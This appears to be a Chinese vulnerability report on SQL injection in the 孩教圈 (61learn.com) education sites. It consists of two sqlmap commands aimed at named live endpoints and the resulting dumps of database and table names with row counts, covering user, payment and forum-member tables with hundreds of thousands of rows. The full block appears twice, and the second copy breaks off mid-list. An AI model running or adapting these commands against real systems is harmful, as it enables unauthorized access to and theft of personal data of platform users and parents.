孩教圈多处SQL注入涉及百万用户数据垮裤查询+dba权限

注入点1post：sqlmap.py -u "http://school.61learn.com/delete_cart_goods.php" --data
 "id=1" --dbs
 注入点2post：sqlmap.py -u "http://shop.61learn.com/delete_cart_goods.php" --data "i
 d=1" --dbs

back-end DBMS: MySQL 5.0
 available databases [8]:
 [*] #mysql50#
 [*] bbs
 [*] hjq
 [*] information_schema
 [*] mysql
 [*] performance_schema
 [*] school
 [*] test

Database: school
 +------------------------------------------+---------+
 | Table                                    | Entries |
 +------------------------------------------+---------+
 | school_users                             | 248448  |
 | school_wechat_user                       | 237773  |
 | school_wechat_subscribe                  | 163013  |
 | school_wechat_custom_message             | 130199  |
 | school_stats                             | 77608   |
 | school_activity_vote_content             | 76820   |
 | school_activity_vote                     | 76793   |
 | pre_common_member_institution_album      | 33246   |
 | school_admin_log                         | 18653   |
 | pre_common_member_institution_photo      | 13159   |
 | school_goods_age                         | 12381   |
 | school_goods_gallery                     | 12152   |
 | pre_common_member_institution_jg_age     | 10882   |
 | school_seller_shopslide                  | 7327    |
 | school_goods                             | 6742    |
 | school_seller_extend_info                | 6719    |
 | pre_common_member_institution_type       | 6128    |
 | pre_common_member_institution            | 4746    |
 | school_user_seller                       | 4609    |
 | school_commission                        | 4576    |
 | school_admin_user                        | 4573    |
 | school_seller_shopinfo                   | 4507    |
 | school_seller_category                   | 4354    |
 | school_sessions_data                     | 4278    |
 | school_touch_goods                       | 3914    |
 | school_region                            | 3408    |
 | school_activity_commit                   | 1801    |
 | school_sessions                          | 1108    |
 | school_keywords                          | 755     |
 | school_video                             | 656     |
 | tb_school                                | 583     |
 | school_activity_vote_apply               | 314     |
 | school_activity_item                     | 244     |
 | school_pay_log                           | 220     |
 | school_order_info                        | 207     |
 | pre_common_member_institution_temp       | 189     |
 | school_searchengine                      | 183     |
 | school_activity_user_apply               | 181     |
 | school_shop_config                       | 176     |
 | school_activity_type                     | 163     |
 | school_category                          | 123     |
 | pre_common_member_institution_coursetype | 122     |
 | school_admin_action                      | 119     |
 | school_links_type                        | 112     |
 | school_order_goods                       | 111     |
 | school_app_users                         | 107     |
 | pre_common_member_institution_cert       | 105     |
 | school_order_action                      | 95      |
 | school_touch_ad                          | 76      |
 | school_user_address                      | 74      |
 | school_ad                                | 70      |
 | school_article                           | 55      |
 | pre_common_member_institution_message    | 53      |
 | school_activity_field_content            | 50      |
 | school_comment                           | 50      |
 | school_wechat_reply                      | 50      |
 | school_wechat_rule_keywords              | 47      |
 | school_touch_shop_config                 | 46      |
 | school_video_type                        | 46      |
 | school_template                          | 40      |
 | school_account_log                       | 36      |
 | school_wechat_media                      | 36      |
 | school_delivery_goods                    | 23      |
 | school_article_cat                       | 22      |
 | school_touch_ad_position                 | 22      |
 | school_delivery_order                    | 19      |
 | school_area_region                       | 18      |
 | school_activity                          | 17      |
 | school_nav                               | 17      |
 | school_ad_position                       | 16      |
 | school_cat_recommend                     | 16      |
 | pre_common_member_institution_report     | 15      |
 | school_mail_templates                    | 14      |
 | school_shipping                          | 13      |
 | school_shipping_area                     | 13      |
 | school_adsense                           | 10      |
 | school_seller_fields                     | 10      |
 | school_touch_adsense                     | 10      |
 | school_user_bonus                        | 9       |
 | school_touch_nav                         | 8       |
 | school_wechat_menu                       | 8       |
 | pre_common_member_institution_age_type   | 7       |
 | pre_common_member_institution_fans       | 7       |
 | school_touch_feedback                    | 7       |
 | school_back_order                        | 6       |
 | school_collect_goods                     | 6       |
 | school_goods_activity                    | 6       |
 | school_package_goods                     | 6       |
 | school_reg_fields                        | 6       |
 | school_vote_option                       | 6       |
 | pre_common_member_institution_fans_group | 5       |
 | school_attribute                         | 5       |
 | school_touch_activity                    | 5       |
 | school_touch_nav2                        | 5       |
 | school_touch_payment                     | 5       |
 | school_user_rank                         | 5       |
 | school_volume_price                      | 5       |
 | school_bonus_type                        | 4       |
 | school_exchange_goods                    | 4       |
 | school_feedback                          | 4       |
 | school_seller_shopwindow                 | 4       |
 | school_app_page_data                     | 3       |
 | school_back_goods                        | 3       |
 | school_goods_type                        | 3       |
 | school_payment                           | 3       |
 | school_touch_brand                       | 3       |
 | pre_common_member_institution_course     | 2       |
 | pre_common_member_institution_video      | 2       |
 | school_activity_item_select              | 2       |
 | school_friend_link                       | 2       |
 | school_snatch_log                        | 2       |
 | school_suppliers                         | 2       |
 | school_topic                             | 2       |
 | school_touch_goods_activity              | 2       |
 | school_user_account                      | 2       |
 | school_wechat                            | 2       |
 | pre_common_member_institution_bulletin   | 1       |
 | pre_common_member_institution_collection | 1       |
 | school_auction_log                       | 1       |
 | school_booking_goods                     | 1       |
 | school_card                              | 1       |
 | school_email_list                        | 1       |
 | school_favourable_activity               | 1       |
 | school_media_recommend                   | 1       |
 | school_pack                              | 1       |
 | school_seller_nav                        | 1       |
 | school_seller_shopheader                 | 1       |
 | school_store_category                    | 1       |
 | school_street_tags                       | 1       |
 | school_touch_article                     | 1       |
 | school_touch_auth                        | 1       |
 | school_vote                              | 1       |
 | school_wholesale                         | 1       |
 +------------------------------------------+---------+

Database: hjq
 +-------------------------+---------+
 | Table                   | Entries |
 +-------------------------+---------+
 | ecs_stats               | 242377  |
 | ecs_ip_log              | 79182   |
 | ecs_user_bonus          | 78836   |
 | ecs_users               | 35892   |
 | wxch_message            | 35443   |
 | ecs_sessions_data       | 26322   |
 | ecs_admin_log           | 23477   |
 | ecs_lucky_egg_record    | 19705   |
 | ecs_keywords            | 14524   |
 | ecs_order_action        | 14413   |
 | ecs_user_address        | 11403   |
 | ecs_account_log         | 11197   |
 | ecs_order_goods         | 11103   |
 | ecs_pay_log             | 10224   |
 | ecs_order_info          | 10014   |
 | ecs_user_op             | 7538    |
 | ecs_goods_gallery       | 4921    |
 | ecs_goods_attr          | 3730    |
 | wxch_user               | 3545    |
 | ecs_region              | 3409    |
 | ecs_collect_goods       | 2138    |
 | ecs_goods_cat           | 1933    |
 | ecs_goods               | 1837    |
 | wxch_point_record       | 1691    |
 | ecs_channel_user        | 1008    |
 | ecs_link_goods          | 938     |
 | ecs_sessions            | 821     |
 | ecs_apply               | 786     |
 | ecs_searchengine        | 651     |
 | ecs_goods_article       | 519     |
 | ecs_feedback            | 390     |
 | wxch_prize_users        | 378     |
 | wxch_prize_cnum         | 327     |
 | wxch_prize_register     | 210     |
 | ecs_article             | 186     |
 | ecs_shop_config         | 179     |
 | ecs_touch_shop_config   | 179     |
 | wxch_prize_count        | 146     |
 | ecs_admin_action        | 115     |
 | ecs_user_account        | 102     |
 | ecs_lucky_egg_ext_code  | 100     |
 | ecs_topic               | 95      |
 | ecs_suppliers           | 80      |
 | ecs_category            | 73      |
 | ecs_area_region         | 69      |
 | ecs_comment             | 67      |
 | ecs_touch_ad            | 56      |
 | ecs_volume_price        | 46      |
 | ecs_bonus_type          | 40      |
 | ecs_template            | 39      |
 | ecs_touch_ad_position   | 39      |
 | ecs_brand               | 38      |
 | ecs_delivery_goods      | 33      |
 | ecs_ad                  | 27      |
 | ecs_attribute           | 27      |
 | ecs_nav                 | 26      |
 | ecs_article_cat         | 19      |
 | ecs_touch_shipping      | 19      |
 | ecs_admin_user          | 18      |
 | ecs_delivery_order      | 18      |
 | wxch_menu               | 18      |
 | wxch_prize_append       | 16      |
 | ecs_cat_recommend       | 15      |
 | ecs_channel             | 14      |
 | ecs_mail_templates      | 14      |
 | ecs_goods_type          | 13      |
 | ecs_touch_nav           | 13      |
 | ecs_goods_activity      | 12      |
 | ecs_touch_template      | 12      |
 | wxch_cfg                | 12      |
 | wxch_lang               | 12      |
 | wxch_msg                | 12      |
 | wxch_point              | 12      |
 | ecs_adsense             | 11      |
 | ecs_lucky_egg           | 11      |
 | ecs_ad_position         | 10      |
 | ecs_conference_signup   | 10      |
 | wxch_keywords_article   | 10      |
 | ecs_school_users        | 7       |
 | ecs_touch_payment       | 7       |
 | wxch_oauth              | 7       |
 | ecs_package_goods       | 6       |
 | ecs_reg_fields          | 6       |
 | ecs_affiliate_log       | 5       |
 | ecs_email_list          | 5       |
 | ecs_email_sendlist      | 5       |
 | ecs_user_rank           | 5       |
 | ecs_bankcard            | 4       |
 | ecs_member_price        | 4       |
 | ecs_payment             | 4       |
 | ecs_school_msg_type     | 4       |
 | ecs_shipping            | 4       |
 | ecs_exchange_goods      | 3       |
 | ecs_favourable_activity | 3       |
 | ecs_school_msg          | 3       |
 | ecs_vote_option         | 3       |
 | wxch_keywords1          | 3       |
 | wxch_order              | 3       |
 | ecs_products            | 2       |
 | ecs_snatch_log          | 2       |
 | wxch_prize              | 2       |
 | wxch_qr                 | 2       |
 | ecs_auction_log         | 1       |
 | ecs_back_goods          | 1       |
 | ecs_back_order          | 1       |
 | ecs_crons               | 1       |
 | ecs_school_class        | 1       |
 | ecs_school_school       | 1       |
 | ecs_shipping_area       | 1       |
 | ecs_touch_shipping_area | 1       |
 | ecs_user_card_type      | 1       |
 | ecs_vote                | 1       |
 | ecs_wholesale           | 1       |
 | wxch_autoreg            | 1       |
 | wxch_config             | 1       |
 | wxch_coupon             | 1       |
 | wxch_keywords           | 1       |
 | wxch_pay                | 1       |
 | wxch_ver                | 1       |
 +-------------------------+---------+

Database: bbs
 +------------------------------------------+---------+
 | Table                                    | Entries |
 +------------------------------------------+---------+
 | pre_forum_forum_member                   | 15686561 |
 | pre_home_notification                    | 1800457 |
 | pre_common_credit_rule_log               | 1739935 |
 | pre_ucenter_pm_members                   | 1359710 |
 | pre_home_follow                          | 1163131 |
 | pre_ucenter_memberfields                 | 865584  |
 | pre_ucenter_members                      | 849251  |
 | pre_common_member                        | 848895  |
 | pre_common_member_profile                | 843376  |
 | pre_common_member_status                 | 843376  |
 | pre_common_member_field_forum            | 843375  |
 | pre_common_member_field_home             | 843375  |
 | pre_common_member_count                  | 843373  |
 | pre_common_member_newprompt              | 744912  |
 | pre_common_member_token                  | 737041  |
 | pre_common_member_verify                 | 736976  |
 | pre_common_member_verify_info            | 736948  |
 | pre_ucenter_pm_indexes                   | 685691  |
 | pre_ucenter_pm_lists                     | 679861  |
 | pre_by_tasklog                           | 661101  |
 | pre_ucenter_newpm                        | 642079  |
 | pre_forum_recent                         | 640153  |
 | `backup_备份表_不要删_pre_common_school_list`        | 282941  |
 | pre_common_school_list                   | 282941  |
 | pre_statistic_activation                 | 202903  |
 | pre_forum_post                           | 166176  |
 | pre_forum_threadpartake                  | 153502  |
 | pre_common_member_position               | 120087  |
 | newusers                                 | 120000  |
 | pre_forum_filter_post                    | 112868  |
 | pre_common_member_children               | 89329   |
 | pre_ucenter_pm_messages_0                | 68757   |
 | pre_ucenter_pm_messages_5                | 68685   |
 | pre_ucenter_pm_messages_6                | 68594   |
 | pre_ucenter_pm_messages_1                | 68583   |
 | pre_ucenter_pm_messages_9                | 68564   |
 | pre_ucenter_pm_messages_8                | 68540   |
 | pre_ucenter_pm_messages_4                | 68523   |
 | pre_ucenter_pm_messages_3                | 68495   |
 | pre_ucenter_pm_messages_7                | 68483   |
 | pre_ucenter_pm_messages_2                | 68467   |
 | pre_forum_attachment                     | 54352   |
 | pre_mobile_sms_code                      | 50012   |
 | pre_forum_indexhot                       | 46624   |
 | pre_common_district                      | 45051   |
 | pre_common_other_infos                   | 44001   |
 | pre_home_favorite                        | 38767   |
 | pre_forum_thread                         | 38044   |
 | ecs_users                                | 35075   |
 | pre_forum_threadmod                      | 25656   |
 | pre_forum_statlog                        | 22828   |
 | pre_common_praise                        | 21519   |
 | pre_common_member_count_archive          | 21248   |
 | pre_common_member_field_forum_archive    | 21248   |
 | pre_common_member_field_home_archive     | 21248   |
 | pre_common_member_status_archive         | 21248   |
 | pre_common_member_profile_archive        | 21247   |
 | pre_common_member_archive                | 21246   |
 | pre_common_onlinetime                    | 19844   |
 | pre_security_evilpost                    | 18848   |
 | pre_common_credit_log                    | 18772   |
 | pre_common_credit_log_field              | 18772   |
 | pre_forum_images_recommend               | 17302   |
 | pre_portal_article_related               | 16792   |
 | pre_forum_huati_isguan                   | 12541   |
 | pre_forum_threadimage                    | 10900   |
 | pre_forum_sofa                           | 6747    |
 | pre_forum_attachment_unused              | 6228    |
 | pre_forum_threadhot                      | 5699    |
 | pre_forum_attachment_6                   | 5640    |
 | pre_forum_attachment_3                   | 5220    |
 | pre_forum_attachment_1                   | 5124    |
 | pre_forum_attachment_2                   | 5107    |
 | pre_forum_attachment_8                   | 5052    |
 | pre_forum_attachment_5                   | 4981    |
 | pre_forum_attachment_4                   | 4941    |
 | pre_forum_attachment_9                   | 4782    |
 | pre_forum_attachment_7                   | 4753    |
 | pre_forum_attachment_0                   | 4684    |
 | pre_forum_modwork                        | 3933    |
 | pre_portal_attachment                    | 3545    |
 | pre_forum_threadcalendar                 | 3137    |
 | pre_common_member_crime                  | 3079    |
 | pre_portal_article_count                 | 3043    |
 | pre_portal_article_content               | 3015    |
 | pre_portal_article_title                 | 2996    |
 | pre_security_eviluser                    | 2959    |
 | pre_forum_huati                          | 2653    |
 | pre_statistic_daylog                     | 2548    |
 | pre_portal_comment                       | 2208    |
 | pre_common_tagitem                       | 2035    |
 | pre_home_pic                             | 1329    |
 | pre_common_credit_rule_log_field         | 1306    |
 | pre_common_block_item                    | 1244    |
 | pre_forum_thread_search_temp             | 1132    |
 | pre_common_tag                           | 1128    |
 | pre_forum_huati_index                    | 1126    |
 | pre_common_member_institution_temp       | 1083    |
 | pre_forum_rsscache                       | 987     |
 | pre_forum_newthread                      | 865     |
 | pre_common_smiley                        | 860     |
 | pre_forum_post_tableid                   | 846     |
 | pre_common_stat                          | 807     |
 | pre_common_member_action_log             | 680     |
 | `backup_国内城市经纬度_不要删`                               | 660     |
 | tb_course                                | 647     |
 | tb_school                                | 583     |
 | pre_common_member_profile_options        | 569     |
 | pre_common_connect_guest                 | 493     |
 | pre_common_setting                       | 447     |
 | pre_common_block                         | 419     |
 | pre_ucenter_feeds                        | 365     |
 | pre_common_seccheck                      | 364     |
 | pre_home_share                           | 359     |
 | pre_common_city                          | 342     |
 | pre_common_school_city                   | 337     |
 | tb_teacher                               | 333     |
 | pre_home_follow_feed_archiver            | 327     |
 | pre_statistic_daylog_login               | 317     |
 | pre_forum_threaddisablepos               | 299     |
 | pre_forum_threadclass                    | 255     |
 | pre_forum_pollvoter                      | 252     |
 | pre_ucenter_notelist                     | 233     |
 | `backup_用户专业领域表_不要删`                               | 231     |
 | pre_connect_memberbindlog                | 187     |
 | pre_common_member_connect                | 180     |
 | pre_common_feedback                      | 172     |
 | pre_home_feed                            | 145     |
 | pre_forum_hotreply_member                | 140     |
 | pre_forum_threadpreview                  | 139     |
 | pre_common_syscache                      | 135     |
 | pre_forum_hotreply_number                | 130     |
 | pre_common_member_institution_coursetype | 122     |
 | pre_forum_polloption                     | 117     |
 | pre_common_block_style                   | 108     |
 | pre_forum_poststick                      | 98      |
 | pre_forum_forumfield                     | 97      |
 | pre_forum_forum                          | 96      |
 | pre_home_friend_request                  | 93      |
 | pre_common_stylevar                      | 90      |
 | pre_common_block_pic                     | 86      |
 | pre_home_friend                          | 74      |
 | pre_common_member_institution_album      | 68      |
 | pre_forum_polloption_image               | 68      |
 | pre_common_admincp_perm                  | 67      |
 | pre_common_nav                           | 62      |
 | pre_common_statuser                      | 58      |
 | pre_common_advertisement_custom          | 54      |
 | pre_common_member_profile_setting        | 51      |
 | pre_home_blacklist                       | 51      |
 | pre_common_member_institution_message    | 50      |
 | pre_mpage_weibo                          | 47      |
 | pre_portal_article_trash                 | 44      |
 | pre_common_advertisement                 | 39      |
 | pre_home_friendlog                       | 39      |
 | pre_common_usergroup_field               | 38      |
 | pre_common_credit_rule                   | 36      |
 | pre_common_optimizer                     | 36      |
 | pre_common_usergroup                     | 36      |
 | pre_common_report                        | 33      |
 | pre_common_school_province               | 31      |
 | pre_forum_moderator                      | 29      |
 | pre_ucenter_settings                     | 27      |
 | pre_common_member_stat_field             | 26      |
 | pre_common_admincp_cmenu                 | 23      |
 | pre_common_word                          | 23      |
 | pre_portal_rsscache                      | 23      |
 | pre_home_album                           | 22      |
 | pre_common_member_institution_photo      | 21      |
 | pre_common_cron                          | 20      |
 | pre_common_cache                         | 17      |
 | pre_dc_mall_address                      | 17      |
 | pre_forum_onlinelist                     | 17      |
 | pre_common_plugin                        | 16      |
 | pre_common_pluginvar                     | 16      |
 | pre_forum_poll                           | 15      |
 | pre_home_click                           | 15      |
 | pre_common_config                        | 13      |
 | pre_home_specialuser                     | 12      |
 | pre_common_diy_data                      | 11      |
 | pre_common_member_institution_report     | 11      |
 | pre_common_searchindex                   | 11      |
 | pre_common_member_institution            | 10      |
 | pre_forum_medal                          | 10      |
 | pre_common_admingroup                    | 9       |
 | pre_common_failedlogin                   | 8       |
 | pre_common_member_institution_cert       | 8       |
 | pre_common_member_institution_type       | 8       |
 | pre_common_member_secwhite               | 8       |
 | pre_home_comment                         | 8       |
 | pre_common_member_institution_age        | 7       |
 | pre_common_member_institution_fans       | 7       |
 | pre_dc_mall_goods                        | 7       |
 | pre_forum_imagetype                      | 7       |
 | pre_common_word_type                     | 6       |
 | pre_forum_typeoption                     | 6       |
 | pre_home_blog                            | 6       |
 | pre_home_blogfield                       | 6       |
 | pre_common_admincp_group                 | 5       |
 | pre_common_member_institution_fans_group | 5       |
 | pre_dc_mall_orders                       | 5       |
 | pre_common_admincp_member                | 4       |
 | pre_common_grouppm                       | 4       |
 | pre_common_member_grouppm                | 4       |
 | pre_connect_postfeedlog                  | 4       |
 | pre_forum_bbcode                         | 4       |
 | pre_home_class                           | 4       |
 | pre_statistic_admin                      | 4       |
 | pre_common_failedip                      | 3       |
 | pre_common_template_block                | 3       |
 | pre_connect_feedlog                      | 3       |
 | pre_forum_access                         | 3       |
 | pre_forum_grouplevel                     | 3       |
 | pre_home_pokearchive                     | 3       |
 | pre_portal_category                      | 3       |
 | pre_common_member_institution_course     | 2       |
 | pre_common_member_institution_video      | 2       |
 | pre_common_style                         | 2       |
 | pre_common_template                      | 2       |
 | pre_forum_forumrecommend                 | 2       |
 | pre_forum_threadtype                     | 2       |
 | pre_forum_warning                        | 2       |
 | pre_home_poke                            | 2       |
 | pre_mobile_setting                       | 2       |
 | pre_statistic_group                      | 2       |
 | pre_ucenter_applications                 | 2       |
 | pre_common_admincp_session               | 1       |
 | pre_common_banned                        | 1       |
 | pre_common_index_module                  | 1       |
 | pre_common_member_institution_bulletin   | 1       |
 | pre_common_member_institution_collection | 1       |
 | pre_common_process                       | 1       |
 | pre_common_secquestion                   | 1       |
 | pre_dc_mall_extend                       | 1       |
 | pre_dc_mall_sort                         | 1       |
 | pre_forum_threadprofile                  | 1       |
 | pre_home_clickuser                       | 1       |
 | pre_ucenter_admins                       | 1       |
 | pre_ucenter_failedlogins                 | 1       |
 +------------------------------------------+---------+

注入点1post：sqlmap.py -u "http://school.61learn.com/delete_cart_goods.php" --data
 "id=1" --dbs
 注入点2post：sqlmap.py -u "http://shop.61learn.com/delete_cart_goods.php" --data "i
 d=1" --dbs

back-end DBMS: MySQL 5.0
 available databases [8]:
 [*] #mysql50#
 [*] bbs
 [*] hjq
 [*] information_schema
 [*] mysql
 [*] performance_schema
 [*] school
 [*] test

Database: school
 +------------------------------------------+---------+
 | Table                                    | Entries |
 +------------------------------------------+---------+
 | school_users                             | 248448  |
 | school_wechat_user                       | 237773  |
 | school_wechat_subscribe                  | 163013  |
 | school_wechat_custom_message             | 130199  |
 | school_stats                             | 77608   |
 | school_activity_vote_content             | 76820   |
 | school_activity_vote                     | 76793   |
 | pre_common_member_institution_album      | 33246   |
 | school_admin_log                         | 18653   |
 | pre_common_member_institution_photo      | 13159   |
 | school_goods_age                         | 12381   |
 | school_goods_gallery                     | 12152   |
 | pre_common_member_institution_jg_age     | 10882   |
 | school_seller_shopslide                  | 7327    |
 | school_goods                             | 6742    |
 | school_seller_extend_info                | 6719    |
 | pre_common_member_institution_type       | 6128    |
 | pre_common_member_institution            | 4746    |
 | school_user_seller                       | 4609    |
 | school_commission                        | 4576    |
 | school_admin_user                        | 4573    |
 | school_seller_shopinfo                   | 4507    |
 | school_seller_category                   | 4354    |
 | school_sessions_data                     | 4278    |
 | school_touch_goods                       | 3914    |
 | school_region                            | 3408    |
 | school_activity_commit                   | 1801    |
 | school_sessions                          | 1108    |
 | school_keywords                          | 755     |
 | school_video                             | 656     |
 | tb_school                                | 583     |
 | school_activity_vote_apply               | 314     |
 | school_activity_item                     | 244     |
 | school_pay_log                           | 220     |
 | school_order_info                        | 207     |
 | pre_common_member_institution_temp       | 189     |
 | school_searchengine                      | 183     |
 | school_activity_user_apply               | 181     |
 | school_shop_config                       | 176     |
 | school_activity_type                     | 163     |
 | school_category                          | 123     |
 | pre_common_member_institution_coursetype | 122     |
 | school_admin_action                      | 119     |
 | school_links_type                        | 112     |
 | school_order_goods                       | 111     |
 | school_app_users                         | 107     |
 | pre_common_member_institution_cert       | 105     |
 | school_order_action                      | 95      |
 | school_touch_ad                          | 76      |
 | school_user_address                      | 74      |
 | school_ad                                | 70      |
 | school_article                           | 55      |
 | pre_common_member_institution_message    | 53      |
 | school_activity_field_content            | 50      |
 | school_comment                           | 50      |
 | school_wechat_reply                      | 50      |
 | school_wechat_rule_keywords              | 47      |
 | school_touch_shop_config                 | 46      |
 | school_video_type                        | 46      |
 | school_template                          | 40      |
 | school_account_log                       | 36      |
 | school_wechat_media                      | 36      |
 | school_delivery_goods                    | 23      |
 | school_article_cat                       | 22      |
 | school_touch_ad_position                 | 22      |
 | school_delivery_order                    | 19      |
 | school_area_region                       | 18      |
 | school_activity                          | 17      |
 | school_nav                               | 17      |
 | school_ad_position                       | 16      |
 | school_cat_recommend                     | 16      |
 | pre_common_member_institution_report     | 15      |
 | school_mail_templates                    | 14      |
 | school_shipping                          | 13      |
 | school_shipping_area                     | 13      |
 | school_adsense                           | 10      |
 | school_seller_fields                     | 10      |
 | school_touch_adsense                     | 10      |
 | school_user_bonus                        | 9       |
 | school_touch_nav                         | 8       |
 | school_wechat_menu                       | 8       |
 | pre_common_member_institution_age_type   | 7       |
 | pre_common_member_institution_fans       | 7       |
 | school_touch_feedback                    | 7       |
 | school_back_order                        | 6       |
 | school_collect_goods                     | 6       |
 | school_goods_activity                    | 6       |
 | school_package_goods                     | 6       |
 | school_reg_fields                        | 6       |
 | school_vote_option                       | 6       |
 | pre_common_member_institution_fans_group | 5       |
 | school_attribute                         | 5       |
 | school_touch_activity                    | 5       |
 | school_touch_nav2                        | 5       |
 | school_touch_payment                     | 5       |
 | school_user_rank                         | 5       |
 | school_volume_price                      | 5       |
 | school_bonus_type                        | 4       |
 | school_exchange_goods                    | 4       |
 | school_feedback                          | 4       |
 | school_seller_shopwindow                 | 4       |
 | school_app_page_data                     | 3       |
 | school_back_goods                        | 3       |
 | school_goods_type                        | 3       |
 | school_payment                           | 3       |
 | school_touch_brand                       | 3       |
 | pre_common_member_institution_course     | 2       |
 | pre_common_member_institution_video      | 2       |
 | school_activity_item_select              | 2       |
 | school_friend_link                       | 2       |
 | school_snatch_log                        | 2       |
 | school_suppliers                         | 2       |
 | school_topic                             | 2       |
 | school_touch_goods_activity              | 2       |
 | school_user_account                      | 2       |
 | school_wechat                            | 2       |
 | pre_common_member_institution_bulletin   | 1       |
 | pre_common_member_institution_collection | 1       |
 | school_auction_log                       | 1       |
 | school_booking_goods                     | 1       |
 | school_card                              | 1       |
 | school_email_list                        | 1       |
 | school_favourable_activity               | 1       |
 | school_media_recommend                   | 1       |
 | school_pack                              | 1       |
 | school_seller_nav                        | 1       |
 | school_seller_shopheader                 | 1       |
 | school_store_category                    | 1       |
 | school_street_tags                       | 1       |
 | school_touch_article                     | 1       |
 | school_touch_auth                        | 1       |
 | school_vote                              | 1       |
 | school_wholesale                         | 1       |
 +------------------------------------------+---------+

Database: hjq
 +-------------------------+---------+
 | Table                   | Entries |
 +-------------------------+---------+
 | ecs_stats               | 242377  |
 | ecs_ip_log              | 79182   |
 | ecs_user_bonus          | 78836   |
 | ecs_users               | 35892   |
 | wxch_message            | 35443   |
 | ecs_sessions_data       | 26322   |
 | ecs_admin_log           | 23477   |
 | ecs_lucky_egg_record    | 19705   |
 | ecs_keywords            | 14524   |
 | ecs_order_action        | 14413   |
 | ecs_user_address        | 11403   |
 | ecs_account_log         | 11197   |
 | ecs_order_goods         | 11103   |
 | ecs_pay_log             | 10224   |
 | ecs_order_info          | 10014   |
 | ecs_user_op             | 7538    |
 | ecs_goods_gallery       | 4921    |
 | ecs_goods_attr          | 3730    |
 | wxch_user               | 3545    |
 | ecs_region              | 3409    |
 | ecs_collect_goods       | 2138    |
 | ecs_goods_cat           | 1933    |
 | ecs_goods               | 1837    |
 | wxch_point_record       | 1691    |
 | ecs_channel_user        | 1008    |
 | ecs_link_goods          | 938     |
 | ecs_sessions            | 821     |
 | ecs_apply               | 786     |
 | ecs_searchengine        | 651     |
 | ecs_goods_article       | 519     |
 | ecs_feedback            | 390     |
 | wxch_prize_users        | 378     |
 | wxch_prize_cnum         | 327     |
 | wxch_prize_register     | 210     |
 | ecs_article             | 186     |
 | ecs_shop_config         | 179     |
 | ecs_touch_shop_config   | 179     |
 | wxch_prize_count        | 146     |
 | ecs_admin_action        | 115     |
 | ecs_user_account        | 102     |
 | ecs_lucky_egg_ext_code  | 100     |
 | ecs_topic               | 95      |
 | ecs_suppliers           | 80      |
 | ecs_category            | 73      |
 | ecs_area_region         | 69      |
 | ecs_comment             | 67      |
 | ecs_touch_ad            | 56      |
 | ecs_volume_price        | 46      |
 | ecs_bonus_type          | 40      |
 | ecs_template            | 39      |
 | ecs_touch_ad_position   | 39      |
 | ecs_brand               | 38      |
 | ecs_delivery_goods      | 33      |
 | ecs_ad                  | 27      |
 | ecs_attribute           | 27      |
 | ecs_nav                 | 26      |
 | ecs_article_cat         | 19      |
 | ecs_touch_shipping      | 19      |
 | ecs_admin_user          | 18      |
 | ecs_delivery_order      | 18      |
 | wxch_menu               | 18      |
 | wxch_prize_append       | 16      |
 | ecs_cat_recommend       | 15      |
 | ecs_channel             | 14      |
 | ecs_mail_templates      | 14      |
 | ecs_goods_type          | 13      |
 | ecs_touch_nav           | 13      |
 | ecs_goods_activity      | 12      |
 | ecs_touch_template      | 12      |
 | wxch_cfg                | 12      |
 | wxch_lang               | 12      |
 | wxch_msg                | 12      |
 | wxch_point              | 12      |
 | ecs_adsense             | 11      |
 | ecs_lucky_egg           | 11      |
 | ecs_ad_position         | 10      |
 | ecs_conference_signup   | 10      |
 | wxch_keywords_article   | 10      |
 | ecs_school_users        | 7       |
 | ecs_touch_payment       | 7       |
 | wxch_oauth              | 7       |
 | ecs_package_goods       | 6       |
 | ecs_reg_fields          | 6       |
 | ecs_affiliate_log       | 5       |
 | ecs_email_list          | 5       |
 | ecs_email_sendlist      | 5       |
 | ecs_user_rank           | 5       |
 | ecs_bankcard            | 4       |
 | ecs_member_price        | 4       |
 | ecs_payment             | 4       |
 | ecs_school_msg_type     | 4       |
 | ecs_shipping            | 4       |
 | ecs_exchange_goods      | 3       |
 | ecs_favourable_activity | 3       |
 | ecs_school_msg          | 3       |
 | ecs_vote_option         | 3       |
 | wxch_keywords1          | 3       |
 | wxch_order              | 3       |
 | ecs_products            | 2       |
 | ecs_snatch_log          | 2       |
 | wxch_prize              | 2       |
 | wxch_qr                 | 2       |
 | ecs_auction_log         | 1       |
 | ecs_back_goods          | 1       |
 | ecs_back_order          | 1       |
 | ecs_crons               | 1       |
 | ecs_school_class        | 1       |
 | ecs_school_school       | 1       |
 | ecs_shipping_area       | 1       |
 | ecs_touch_shipping_area | 1       |
 | ecs_user_card_type      | 1       |
 | ecs_vote                | 1       |
 | ecs_wholesale           | 1       |
 | wxch_autoreg            | 1       |
 | wxch_config             | 1       |
 | wxch_coupon             | 1       |
 | wxch_keywords           | 1       |
 | wxch_pay                | 1       |
 | wxch_ver                | 1       |
 +-------------------------+---------+

Database: bbs
 +------------------------------------------+---------+
 | Table                                    | Entries |
 +------------------------------------------+---------+
 | pre_forum_forum_member                   | 15686561 |
 | pre_home_notification                    | 1800457 |
 | pre_common_credit_rule_log               | 1739935 |
 | pre_ucenter_pm_members                   | 1359710 |
 | pre_home_follow                          | 1163131 |
 | pre_ucenter_memberfields                 | 865584  |
 | pre_ucenter_members                      | 849251  |
 | pre_common_member                        | 848895  |
 | pre_common_member_profile                | 843376  |
 | pre_common_member_status                 | 843376  |
 | pre_common_member_field_forum            | 843375  |
 | pre_common_member_field_home             | 843375  |
 | pre_common_member_count                  | 843373  |
 | pre_common_member_newprompt              | 744912  |
 | pre_common_member_token                  | 737041  |
 | pre_common_member_verify                 | 736976  |
 | pre_common_member_verify_info            | 736948  |
 | pre_ucenter_pm_indexes                   | 685691  |
 | pre_ucenter_pm_lists                     | 679861  |
 | pre_by_tasklog                           | 661101  |
 | pre_ucenter_newpm                        | 642079  |
 | pre_forum_recent                         | 640153  |
 | `backup_备份表_不要删_pre_common_school_list`        | 282941  |
 | pre_common_school_list                   | 282941  |
 | pre_statistic_activation                 | 202903  |
 | pre_forum_post                           | 166176  |
 | pre_forum_threadpartake                  | 153502  |
 | pre_common_member_position               | 120087  |
 | newusers                                 | 120000  |
 | pre_forum_filter_post                    | 112868  |
 | pre_common_member_children               | 89329   |
 | pre_ucenter_pm_messages_0                | 68757   |
 | pre_ucenter_pm_messages_5                | 68685   |
 | pre_ucenter_pm_messages_6                | 68594   |
 | pre_ucenter_pm_messages_1                | 68583   |
 | pre_ucenter_pm_messages_9                | 68564   |
 | pre_ucenter_pm_messages_8                | 68540   |
 | pre_ucenter_pm_messages_4                | 68523   |
 | pre_ucenter_pm_messages_3                | 68495   |
 | pre_ucenter_pm_messages_7                | 68483   |
 | pre_ucenter_pm_messages_2                | 68467   |
